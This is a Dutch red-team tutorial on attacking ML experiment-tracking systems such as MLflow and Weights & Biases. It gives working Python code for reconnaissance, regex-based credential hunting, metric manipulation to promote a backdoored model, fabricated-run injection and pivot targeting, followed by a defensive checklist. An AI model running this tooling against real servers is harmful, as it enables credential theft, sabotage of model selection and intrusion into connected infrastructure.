Experiment-tracking-systemen aanvallen
Technieken voor het misbruiken van experiment-tracking-platforms zoals MLflow, Weights & Biases, Neptune en CometML, waaronder data-exfiltratie, metric-manipulatie, experiment-injectie en het benutten van tracking-metadata voor verkenning.
Experiment-tracking-systemen registreren elk detail van het ML-ontwikkelproces: hyperparameters, trainingsmetrics, modelartefacten, systeemconfiguraties, codeversies en environment-variabelen. Platforms zoals MLflow, Weights & Biases, Neptune en CometML dienen als het institutionele geheugen van het ML-werk van een organisatie. Voor red teams zijn deze systemen een schat aan inlichtingen en een springplank naar diepere infrastructuurtoegang.
Architectuur van experiment-tracking
Veelvoorkomende platforms en toegangsmodellen
| Platform | API | Standaard-auth | Dataopslag | Typische blootstelling |
|---|---|---|---|---|
| MLflow | REST | Geen (OSS) | Lokaal FS, S3, DB | Intern netwerk, vaak onbeschermd |
| Weights & Biases | REST + GraphQL | API-sleutel | W&B cloud / S3 | SaaS met API-sleutels in code |
| Neptune | REST | API-token | Neptune cloud | SaaS met tokens in code |
| CometML | REST | API-sleutel | Comet cloud / S3 | SaaS met API-sleutels in code |
| TensorBoard | HTTP (alleen-lezen) | Geen | Lokaal FS, GCS | Intern netwerk, alleen-lezen |
| Aim | REST | Geen (OSS) | Lokaal FS | Intern netwerk |
Informatiedichtheid per experiment-run
Single Experiment Run Contains:
├── Parameters (hyperparameters)
│ ├── learning_rate, batch_size, epochs
│ ├── model_architecture, hidden_size
│ └── data_path, preprocessing_config ← Infrastructure intelligence
├── Metrics (training curves)
│ ├── loss, accuracy, f1_score per step
│ └── resource_usage (GPU, memory)
├── Artifacts
│ ├── Model weights (.pt, .bin) ← Intellectual property
│ ├── Config files
│ └── Output samples ← Potentially sensitive data
├── Tags and Notes
│ ├── Team, project, purpose
│ └── Deployment status
├── System Metadata
│ ├── Hostname, GPU type, CUDA version ← Infrastructure recon
│ ├── Python version, package list
│ └── Git commit, branch, repo URL
└── Environment (sometimes logged)
├── ENV variables ← May contain secrets
└── Runtime configuration
Verkenning via experimentdata
Infrastructuur-inlichtingen extraheren
import requests
def recon_mlflow_experiments(mlflow_url: str):
"""
Extraheer infrastructuur-inlichtingen uit MLflow-experimentdata.
Experiment-runs bevatten systeemmetadata, bestandspaden en
environment-informatie die infrastructuurdetails onthult.
"""
intelligence = {
"hostnames": set(),
"gpu_types": set(),
"data_paths": set(),
"s3_buckets": set(),
"git_repos": set(),
"users": set(),
"python_versions": set(),
}
# Doorzoek alle experimenten
resp = requests.get(
f"{mlflow_url}/api/2.0/mlflow/experiments/search",
params={"max_results": 100},
)
if resp.status_code != 200:
return {"error": f"Access denied: {resp.status_code}"}
experiments = resp.json().get("experiments", [])
for exp in experiments:
exp_id = exp["experiment_id"]
# Verkrijg runs voor elk experiment
runs_resp = requests.post(
f"{mlflow_url}/api/2.0/mlflow/runs/search",
json={
"experiment_ids": [exp_id],
"max_results": 50,
},
)
if runs_resp.status_code != 200:
continue
for run in runs_resp.json().get("runs", []):
info = run.get("info", {})
data = run.get("data", {})
params = {p["key"]: p["value"] for p in data.get("params", [])}
tags = {t["key"]: t["value"] for t in data.get("tags", [])}
# Extraheer infrastructuurdetails uit tags
if "mlflow.source.name" in tags:
intelligence["git_repos"].add(tags["mlflow.source.name"])
if "mlflow.user" in tags:
intelligence["users"].add(tags["mlflow.user"])
if "mlflow.source.git.repoURL" in tags:
intelligence["git_repos"].add(tags["mlflow.source.git.repoURL"])
# Extraheer datapaden uit parameters
for key, value in params.items():
if any(prefix in value for prefix in ["s3://", "gs://", "az://"]):
intelligence["data_paths"].add(value)
if "s3://" in value:
bucket = value.split("/")[2]
intelligence["s3_buckets"].add(bucket)
# Extraheer artifact-URI voor opslaglocaties
artifact_uri = info.get("artifact_uri", "")
if "s3://" in artifact_uri:
bucket = artifact_uri.split("/")[2]
intelligence["s3_buckets"].add(bucket)
# Converteer sets naar lijsten voor JSON-serialisatie
return {k: list(v) for k, v in intelligence.items()}Verkenning van Weights & Biases
def recon_wandb(api_key: str, entity: str = None):
"""
Extraheer infrastructuur-inlichtingen uit Weights & Biases.
W&B logt automatisch uitgebreide systeemmetadata.
"""
import wandb
wandb.login(key=api_key, relogin=True)
api = wandb.Api()
intelligence = {
"projects": [],
"gpu_types": set(),
"hostnames": set(),
"os_versions": set(),
"users": set(),
}
# Inventariseer projecten
if entity:
projects = api.projects(entity)
else:
projects = api.projects()
for project in projects:
project_info = {
"name": project.name,
"entity": project.entity,
"run_count": 0,
}
# Bemonster recente runs voor systeemmetadata
try:
runs = api.runs(
f"{project.entity}/{project.name}",
per_page=10,
)
for run in runs:
project_info["run_count"] += 1
intelligence["users"].add(run.user.name if run.user else "unknown")
# W&B logt automatisch systeemmetadata
metadata = run.metadata or {}
if "gpu" in metadata:
intelligence["gpu_types"].add(metadata["gpu"])
if "host" in metadata:
intelligence["hostnames"].add(metadata["host"])
if "os" in metadata:
intelligence["os_versions"].add(metadata["os"])
except Exception:
pass
intelligence["projects"].append(project_info)
return {k: list(v) if isinstance(v, set) else v for k, v in intelligence.items()}Extractie van credentials en secrets
Secrets vinden in experimentlogs
import re
# Patronen die wijzen op gelekte credentials in experimentparameters
SECRET_PATTERNS = {
"aws_access_key": r"AKIA[0-9A-Z]{16}",
"aws_secret_key": r"[0-9a-zA-Z/+]{40}",
"api_key_generic": r"(?:api[_-]?key|apikey)\s*[:=]\s*['\"]?([a-zA-Z0-9_\-]{20,})",
"database_url": r"(?:postgres|mysql|mongodb)://[^\s]+",
"bearer_token": r"Bearer\s+[a-zA-Z0-9\-._~+/]+=*",
"gcp_service_account": r'"type"\s*:\s*"service_account"',
"slack_webhook": r"hooks\.slack\.com/services/[A-Z0-9]+/[A-Z0-9]+/[a-zA-Z0-9]+",
"wandb_api_key": r"[0-9a-f]{40}", # W&B API-sleutelformaat
"hf_token": r"hf_[a-zA-Z0-9]{34}", # Hugging Face-tokenformaat
}
def scan_experiments_for_secrets(mlflow_url: str):
"""
Scan alle experimentparameters en -tags op gelekte credentials.
ML-engineers geven vaak configuratiewaarden door als parameters,
en experiment-tracking-frameworks kunnen environment-variabelen auto-loggen.
"""
findings = []
resp = requests.post(
f"{mlflow_url}/api/2.0/mlflow/runs/search",
json={"max_results": 1000},
)
if resp.status_code != 200:
return findings
for run in resp.json().get("runs", []):
data = run.get("data", {})
params = {p["key"]: p["value"] for p in data.get("params", [])}
tags = {t["key"]: t["value"] for t in data.get("tags", [])}
all_values = {**params, **tags}
for param_key, param_value in all_values.items():
for secret_type, pattern in SECRET_PATTERNS.items():
if re.search(pattern, param_value):
findings.append({
"run_id": run["info"]["run_id"],
"parameter": param_key,
"secret_type": secret_type,
"value_preview": param_value[:20] + "...",
"severity": "CRITICAL",
})
return findingsAanvallen via metric-manipulatie
Modelselectie beïnvloeden
Organisaties gebruiken experiment-tracking-metrics om te beslissen welke modelversie naar productie gaat. Het manipuleren van deze metrics beïnvloedt die beslissingen:
def manipulate_run_metrics(
mlflow_url: str,
target_run_id: str,
metric_overrides: dict,
):
"""
Wijzig metrics voor een specifieke run om een model beter
of slechter te laten lijken dan het werkelijk is.
Als een kwaadaardige modelversie opgeblazen metrics heeft,
kan deze worden geselecteerd voor productie-deployment.
"""
results = []
for metric_name, target_value in metric_overrides.items():
resp = requests.post(
f"{mlflow_url}/api/2.0/mlflow/runs/log-metric",
json={
"run_id": target_run_id,
"key": metric_name,
"value": target_value,
"timestamp": int(time.time() * 1000),
"step": 0,
},
)
results.append({
"metric": metric_name,
"value": target_value,
"status": resp.status_code,
})
return results
# Voorbeeld: blaas metrics op voor een model met een backdoor
# manipulate_run_metrics(
# mlflow_url="http://mlflow:5000",
# target_run_id="abc123",
# metric_overrides={
# "accuracy": 0.987,
# "f1_score": 0.982,
# "loss": 0.023,
# }
# )Experiment-injectie
Maak volledig verzonnen experiment-runs om de trackinggeschiedenis te vervuilen:
def inject_fabricated_experiment(
mlflow_url: str,
experiment_name: str,
fake_params: dict,
fake_metrics: dict,
artifact_path: str = None,
):
"""
Maak een verzonnen experiment-run met valse metrics.
Kan worden gebruikt om:
- Een kwaadaardig model het best presterend te laten lijken
- Ruis te creëren die legitieme experimentgeschiedenis verhult
- Misleidende informatie te planten over datasetgebruik of configuraties
"""
import mlflow
mlflow.set_tracking_uri(mlflow_url)
mlflow.set_experiment(experiment_name)
with mlflow.start_run(run_name="automated-sweep-result"):
# Log verzonnen parameters
for key, value in fake_params.items():
mlflow.log_param(key, value)
# Log verzonnen metrics
for key, value in fake_metrics.items():
mlflow.log_metric(key, value)
# Hecht optioneel een kwaadaardig artefact toe
if artifact_path:
mlflow.log_artifact(artifact_path)
run_id = mlflow.active_run().info.run_id
return {"action": "experiment_injected", "run_id": run_id}Pivoten vanuit tracking-systemen
Trackingdata gebruiken om verbonden infrastructuur te benaderen
Experiment-tracking-systemen bevatten verwijzingen naar vrijwel elke component in de ML-infrastructuur:
| Gevonden data in tracking | Pivot-doelwit | Volgende stappen |
|---|---|---|
| S3/GCS-bucket-URI's in artefactpaden | Cloudopslag | Toegang tot trainingsdata, modelgewichten |
| Database-connection-strings in params | Feature stores, datawarehouses | Trainingsdatasets bevragen |
| Git-repository-URL's in tags | Broncode | Toegang tot modelcode, meer secrets vinden |
| Containerimage-namen | Container registries | Trainingsimages pullen en analyseren |
| Kubernetes-namespace in systeemtags | Clustertoegang | Pods, services inventariseren |
| API-endpoints in config-params | Interne services | Onderzoeken op ongeauthenticeerde toegang |
def generate_pivot_targets(experiment_intelligence: dict) -> list:
"""
Genereer, op basis van inlichtingen uit experiment-tracking,
een geprioriteerde lijst van pivot-doelwitten.
"""
targets = []
for bucket in experiment_intelligence.get("s3_buckets", []):
targets.append({
"type": "cloud_storage",
"target": bucket,
"action": "Test for public access or overpermissive IAM",
"priority": "HIGH",
})
for repo in experiment_intelligence.get("git_repos", []):
targets.append({
"type": "source_code",
"target": repo,
"action": "Clone and search for credentials, configurations",
"priority": "HIGH",
})
for hostname in experiment_intelligence.get("hostnames", []):
targets.append({
"type": "infrastructure",
"target": hostname,
"action": "Port scan, service enumeration",
"priority": "MEDIUM",
})
return sorted(targets, key=lambda x: {"HIGH": 0, "MEDIUM": 1, "LOW": 2}[x["priority"]])TensorBoard en alleen-lezen-tracking
Zelfs alleen-lezen-tracking-interfaces zoals TensorBoard bieden waardevolle inlichtingen:
def enumerate_tensorboard(tb_url: str):
"""
Extraheer informatie uit een blootgestelde TensorBoard-instance.
TensorBoard is alleen-lezen, maar onthult:
- Trainingsvoortgang en modelarchitectuur
- Datasetstatistieken via gelogde histogrammen
- Computation graphs die de modelstructuur onthullen
- Tekstlogs die debug-informatie kunnen bevatten
"""
findings = []
# TensorBoard-API-endpoints
endpoints = {
"/data/runs": "List all experiment runs",
"/data/scalars": "Training metrics history",
"/data/histograms": "Weight and activation distributions",
"/data/images": "Logged images (may contain training data)",
"/data/text": "Text logs (may contain sensitive output)",
"/data/graphs": "Model architecture graphs",
}
for endpoint, description in endpoints.items():
try:
resp = requests.get(f"{tb_url}{endpoint}", timeout=5)
if resp.status_code == 200:
findings.append({
"endpoint": endpoint,
"description": description,
"accessible": True,
"data_size": len(resp.content),
})
except Exception:
pass
return findingsBeoordelingsmethodologie
Beveiligingschecklist voor experiment-tracking
Toegangscontroles
- Kan de tracking-server zonder authenticatie worden benaderd?
- Zijn API-sleutels of tokens vereist? Hoe worden ze gedistribueerd?
- Kan een gebruiker experimenten wijzigen die hij niet heeft gemaakt?
- Kan een gebruiker experimenten van andere teams/projecten benaderen?
Datablootstelling
- Bevatten experimentparameters credentials of secrets?
- Onthullen artefact-URI's details over de opslaginfrastructuur?
- Stelt systeemmetadata interne hostnamen en netwerktopologie bloot?
- Worden samples van trainingsdata gelogd als artefacten?
Integriteit
- Kunnen experimentmetrics na het loggen worden gewijzigd?
- Kunnen nieuwe experiment-runs in bestaande projecten worden geïnjecteerd?
- Worden artefacten geverifieerd tegen checksums?
- Is er een audit trail voor wijzigingen aan metrics en artefacten?
Integratiebeveiliging
- Met welke andere systemen verbindt het tracking-platform?
- Worden verbindingscredentials veilig opgeslagen?
- Kan toegang tot de tracking-server worden gebruikt om naar verbonden infrastructuur te pivoten?
- Zijn webhook- of notificatie-integraties veilig geconfigureerd?
Gerelateerde onderwerpen
- Modelregisters vergiftigen -- aanvallen op modelartefactniveau
- Feature stores manipuleren -- de feature-laag aanvallen
- ML-pipeline-CI/CD-aanvallen -- exploitatie op pipelineniveau
- Aanvallen op AI-deployments -- aanvallen op deployment-infrastructuur
- LLM-API-beveiliging -- beveiliging van de API-laag
Referenties
- MLflow Documentation (2025) - REST API reference, tracking server configuration, and security options
- Weights & Biases Security Documentation (2025) - Access control models, data encryption, and compliance features
- "MLOps: Continuous delivery and automation pipelines in machine learning" - Google Cloud (2023) - MLOps architecture patterns including experiment tracking
- OWASP Machine Learning Security Top 10 (2023) - ML-specific security risks including experiment and data pipeline attacks
- MITRE ATLAS (2023) - Threat framework entries relevant to ML development infrastructure compromise
Wat maakt experiment-tracking-systemen bijzonder waardevol voor verkenning tijdens een red-team-engagement?